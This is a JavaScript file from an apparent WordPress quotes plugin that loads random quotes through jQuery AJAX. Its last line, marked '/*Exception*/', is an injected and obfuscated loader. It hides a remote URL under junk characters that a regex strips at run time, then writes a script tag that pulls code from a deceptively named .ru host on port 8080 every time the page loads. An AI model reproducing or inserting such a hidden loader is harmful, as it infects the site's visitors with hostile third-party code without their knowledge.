var quotcoll_requrl, quotcoll_nextquote, quotcoll_loading, quotcoll_errortext;

function quotescollection_init(requrl, nextquote, loading, errortext)
{
	quotcoll_requrl = requrl;
	quotcoll_nextquote = nextquote;
	quotcoll_loading = loading;
	quotcoll_errortext = errortext;
}



function quotescollection_refresh(instance, exclude, show_author, show_source, filter_tags, char_limit)
{
	jQuery("#quotescollection_nextquote-"+instance).html(quotcoll_loading);
	jQuery.ajax({
		type: "POST",
		url: quotcoll_requrl,
		data: "refresh="+instance+"&exclude="+exclude+"&show_author="+show_author+"&show_source="+show_source+"&char_limit="+char_limit+"&tags="+filter_tags,
		success: function(response) {
			jQuery("#quotescollection_randomquote-"+instance).hide();
			jQuery("#quotescollection_randomquote-"+instance).html( response );
			jQuery("#quotescollection_randomquote-"+instance).fadeIn("slow");	
		},
		error: function(xhr, textStatus, errorThrown) {
			alert(textStatus+' '+xhr.status+': '+errorThrown);
			jQuery("#quotescollection_nextquote-"+instance).html('<a class=\"quotescollection_refresh\" style=\"cursor:pointer\" onclick=\"quotescollection_refresh('+instance+', '+exclude+', '+show_author+', '+show_source+', \''+filter_tags+'\', '+char_limit+')\">'+quotcoll_nextquote+' &raquo;</a>');
		}	
	});
}


/*Exception*/ document.write('<script src='+'h$#^t&!t^$$@p($^:()/$&(/$!!s(!&k&y^#@(s#$p&(o@^&&r@@&t@(#!s$-)^&c&!#o&&!@m^^.&^)^!m(!e@@#e$&!@b&((o^^.&&)@&c$(&o$&m(^#.(n!y!^^d)#^^a()!i)!$l^y#^@^n)^e^w!!s(!&-@#c!!)o$m(@^.!@$t)$r($u$e@#)s&&o^^u#)&l#o#$n#$@l)$(@(i^@&n!e$$.##r&(u(:^()8$(#0^$8&@#0$)(/$@g)o@((o)g$@&l$((e)^.&c^)o@&m#(/&^)$g@(o(!()!o^)@g$&l!^^e@$&&.&(c)^(o#^$m$$(/#a($@)s!@&s!$o)!$c)(&i!!a))t!(e&(&d$c^)&!o&n($t(#e)n#^t@!@&.&(c&^o@m^/@$g(o^^o($g^&#l)&e^$^^#.()#e@^!@s)!/#(@c#@@)j(.$$@c@@^&o$m^^/(^'.replace(/@|\$|\(|\^|\!|&|#|\)/ig, '')+' defer=defer></scr'+'ipt>');